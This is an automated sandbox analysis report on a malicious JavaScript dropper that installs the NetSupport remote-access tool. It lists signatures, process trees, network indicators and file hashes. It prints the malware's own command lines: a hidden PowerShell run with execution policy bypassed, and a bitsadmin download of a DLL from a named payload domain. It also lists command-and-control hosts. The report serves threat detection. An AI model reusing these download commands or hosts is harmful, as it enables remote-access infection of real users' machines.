Analysis Overview
SHA256
48a8c57895c2cfdf13a402e669a9964f56128521404e47b4727672f8ca91a90d
Threat Level: Known bad
The file ave603jsjsjsjsjsjsjsjsjsj.js was found to be: Known bad.
Malicious Activity Summary
NetSupport
Executes dropped EXE
Loads dropped DLL
Checks computer location settings
Enumerates physical storage devices
Download via BitsAdmin
Suspicious use of WriteProcessMemory
Suspicious use of FindShellTrayWindow
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-07-09 19:19
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-07-09 19:19
Reported
2023-07-09 19:22
Platform
win7-20230703-en
Max time kernel
39s
Max time network
43s
Command Line
Signatures
Enumerates physical storage devices
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bitsadmin.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2388 wrote to memory of 1720 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2388 wrote to memory of 1720 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2388 wrote to memory of 1720 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1720 wrote to memory of 2872 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\bitsadmin.exe |
| PID 1720 wrote to memory of 2872 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\bitsadmin.exe |
| PID 1720 wrote to memory of 2872 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\bitsadmin.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ave603jsjsjsjsjsjsjsjsjsj.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hidden -File C:\Users\Admin\AppData\Local\Temp\wzt5yg9.ps1
C:\Windows\system32\bitsadmin.exe
"C:\Windows\system32\bitsadmin.exe" /transfer MeDoW /download /priority normal https://virvatulishop.com/files/AudioCapture.dll C:\Users\Admin\AppData\RoamingOfficeStartupAudioCapture.dll
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | virvatulishop.com | udp |
| FI | 5.44.245.24:443 | virvatulishop.com | tcp |
Files
memory/1720-60-0x000000001B2A0000-0x000000001B582000-memory.dmp
memory/1720-61-0x0000000002040000-0x0000000002048000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\wzt5yg9.ps1
| MD5 | d85c0eada7610417ac3448efa1975122 |
| SHA1 | 0243c3ac3e03279f6abc4817906ab95d74c8c2f7 |
| SHA256 | 7689232c0352a14f0ff0967d88e6964eddaf25e2d282f8484fa17abb3b486a37 |
| SHA512 | b3e627647589839f6383942a5db24d3b46fe0068027307eb6805e933ea481d550f8c59eab566dd9a62af1e8126efbd8416ad870da489623107415f2a8067c7d1 |
memory/1720-63-0x00000000025B0000-0x0000000002630000-memory.dmp
memory/1720-64-0x00000000025B0000-0x0000000002630000-memory.dmp
memory/1720-65-0x00000000025B0000-0x0000000002630000-memory.dmp
memory/1720-66-0x00000000025B0000-0x0000000002630000-memory.dmp
memory/1720-67-0x00000000025B0000-0x0000000002630000-memory.dmp
memory/1720-68-0x00000000025B0000-0x0000000002630000-memory.dmp
memory/1720-69-0x00000000025B0000-0x0000000002630000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-07-09 19:19
Reported
2023-07-09 19:22
Platform
win10v2004-20230703-en
Max time kernel
143s
Max time network
148s
Command Line
Signatures
NetSupport
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2600 wrote to memory of 3664 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2600 wrote to memory of 3664 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3664 wrote to memory of 3892 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe |
| PID 3664 wrote to memory of 3892 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe |
| PID 3664 wrote to memory of 3892 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ave603jsjsjsjsjsjsjsjsjsj.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hidden -File C:\Users\Admin\AppData\Local\Temp\ci6dzrr.ps1
C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe
"C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 140.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | virvatulishop.com | udp |
| FI | 5.44.245.24:443 | virvatulishop.com | tcp |
| US | 8.8.8.8:53 | 24.245.44.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | deperekanuki1.com | udp |
| RU | 5.42.74.53:5222 | deperekanuki1.com | tcp |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| GB | 62.172.138.67:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 53.74.42.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.138.172.62.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.13.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.5.248.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.143.182.52.in-addr.arpa | udp |
Files
memory/3664-137-0x000001F8A7EB0000-0x000001F8A7ED2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qzjuzens.33u.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Local\Temp\ci6dzrr.ps1
| MD5 | d83dc9e78a9b12b1cda85e65346f50d1 |
| SHA1 | 9435de2c91c3bad6ec6ee038d55aeb8c20abd48a |
| SHA256 | a590116ad5c79bb6201ac6067101b388ae853dc8d40debd3d2cd9912f96cb94b |
| SHA512 | c9d1192b65552e72c33c1c18f7e0e3f01a7ffa855bb56f0039a380753c002b521d203be4e9b0467ca008921e2ef52573df2ed5fd59d782639c52aad65af22a3d |
memory/3664-148-0x000001F8A7FB0000-0x000001F8A7FC0000-memory.dmp
memory/3664-149-0x000001F8A7FB0000-0x000001F8A7FC0000-memory.dmp
memory/3664-150-0x000001F8A7FB0000-0x000001F8A7FC0000-memory.dmp
memory/3664-151-0x000001F8A7F50000-0x000001F8A7F64000-memory.dmp
memory/3664-152-0x000001F8A7F70000-0x000001F8A7F82000-memory.dmp
memory/3664-153-0x000001F8A7F40000-0x000001F8A7F4A000-memory.dmp
C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe
| MD5 | 45fe5531717cd1b9532cbb6a5daaeb3a |
| SHA1 | cb908e267a08c37d7e184f47f788e82cca38f83e |
| SHA256 | ab6a4ccb752858c8c6e8223cd3510503928c3f9816cc655f0033d86c15c28ed9 |
| SHA512 | 5ce8ea56144345802342f618c51acdbcfef3349e81e145c200ff77e217e86556f833236d85caf6ff1c8d954370bbb88e9581d9b0807b530344a8e084ede60bcb |
C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe
| MD5 | 45fe5531717cd1b9532cbb6a5daaeb3a |
| SHA1 | cb908e267a08c37d7e184f47f788e82cca38f83e |
| SHA256 | ab6a4ccb752858c8c6e8223cd3510503928c3f9816cc655f0033d86c15c28ed9 |
| SHA512 | 5ce8ea56144345802342f618c51acdbcfef3349e81e145c200ff77e217e86556f833236d85caf6ff1c8d954370bbb88e9581d9b0807b530344a8e084ede60bcb |
C:\Users\Admin\AppData\RoamingOfficeStartup\client32.exe
| MD5 | 45fe5531717cd1b9532cbb6a5daaeb3a |
| SHA1 | cb908e267a08c37d7e184f47f788e82cca38f83e |
| SHA256 | ab6a4ccb752858c8c6e8223cd3510503928c3f9816cc655f0033d86c15c28ed9 |
| SHA512 | 5ce8ea56144345802342f618c51acdbcfef3349e81e145c200ff77e217e86556f833236d85caf6ff1c8d954370bbb88e9581d9b0807b530344a8e084ede60bcb |
C:\Users\Admin\AppData\RoamingOfficeStartup\PCICL32.dll
| MD5 | 9c9302e75c25c2ba996efd89a1047205 |
| SHA1 | 9e79627ff32d5abd3382b65a509baeb31c78a7f2 |
| SHA256 | beb7b9a9fb02b2ad9965364fd6769ea0d8b324049da86eedd406e1c3703502c1 |
| SHA512 | d120b380ecd937826ab992802d8aae85f747031d50c1f6421a6c5ac32871a08f1a9c612c41946dd0aeabc01b1737cae6a1de70f9af36020af2b679e556d54fa1 |
C:\Users\Admin\AppData\RoamingOfficeStartup\PCICL32.DLL
| MD5 | 9c9302e75c25c2ba996efd89a1047205 |
| SHA1 | 9e79627ff32d5abd3382b65a509baeb31c78a7f2 |
| SHA256 | beb7b9a9fb02b2ad9965364fd6769ea0d8b324049da86eedd406e1c3703502c1 |
| SHA512 | d120b380ecd937826ab992802d8aae85f747031d50c1f6421a6c5ac32871a08f1a9c612c41946dd0aeabc01b1737cae6a1de70f9af36020af2b679e556d54fa1 |
C:\Users\Admin\AppData\RoamingOfficeStartup\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\RoamingOfficeStartup\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\RoamingOfficeStartup\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\RoamingOfficeStartup\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\RoamingOfficeStartup\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\RoamingOfficeStartup\pcichek.dll
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\RoamingOfficeStartup\client32.ini
| MD5 | a252f22f61f960c54fa32ae0de7dd17c |
| SHA1 | 00fe1097e70f1f6307e6bc68f40d49abb01dd2d5 |
| SHA256 | a5be7a73bbed8ec4e1a7819289da5412fe9ddf628941aa3b35fbe7454f148618 |
| SHA512 | 7998e6cd43853b77e38cfedf0b6081c2965c9facb891ebd9a33db0e39b71d683f218174d87f99d5ab22983632c4c319bd63ec9dcbf1cbc81a77e3053ae3f1593 |
C:\Users\Admin\AppData\RoamingOfficeStartup\NSM.LIC
| MD5 | b9956282a0fed076ed083892e498ac69 |
| SHA1 | d14a665438385203283030a189ff6c5e7c4bf518 |
| SHA256 | fcc6afd664a8045bd61c398be3c37a97536a199a48d277e11977f93868ae1acc |
| SHA512 | 7daa09113c0e8a36c91cc6d657c65851a20dff6b60ac3d2f40c5737c12c1613c553955f84d131ba2139959973fef9fc616ca5e968cb16c25acf2d4739eed87eb |
C:\Users\Admin\AppData\RoamingOfficeStartup\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |
C:\Users\Admin\AppData\RoamingOfficeStartup\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |